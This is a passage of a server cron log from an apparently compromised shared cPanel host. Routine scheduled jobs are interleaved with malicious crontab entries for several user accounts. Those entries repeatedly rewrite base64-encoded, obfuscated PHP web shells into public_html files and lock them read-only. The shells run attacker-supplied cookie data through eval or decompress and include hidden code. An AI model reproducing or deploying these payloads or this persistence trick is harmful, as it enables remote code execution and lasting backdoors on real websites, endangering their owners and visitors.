ewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:13:01 medusa CROND[30945]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:13:01 medusa CROND[30946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:13:01 medusa CROND[30944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:13:01 medusa CROND[30948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:13:01 medusa CROND[30947]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:13:01 medusa CROND[30949]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 04:13:01 medusa CROND[30954]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:13:01 medusa CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:14:01 medusa CROND[19920]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:14:01 medusa CROND[19921]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:14:01 medusa CROND[19922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:14:01 medusa CROND[19923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:14:01 medusa CROND[19926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:14:01 medusa CROND[19927]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:14:01 medusa CROND[19928]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:14:01 medusa CROND[19930]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:14:01 medusa CROND[19932]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:14:01 medusa CROND[19931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:14:01 medusa CROND[19934]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:14:01 medusa CROND[19935]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:14:01 medusa CROND[19933]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:15:01 medusa CROND[11458]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:15:02 medusa CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:15:02 medusa CROND[11558]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:15:02 medusa CROND[11559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11560]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11561]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:15:02 medusa CROND[11562]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11565]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11572]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:15:02 medusa CROND[11573]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:15:02 medusa CROND[11575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:15:02 medusa CROND[11578]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:15:02 medusa CROND[11571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11579]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:15:02 medusa CROND[11580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:15:02 medusa CROND[11581]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:15:02 medusa CROND[11582]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:15:02 medusa CROND[11583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:15:02 medusa CROND[11563]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:15:02 medusa CROND[11587]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:15:02 medusa CROND[11589]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0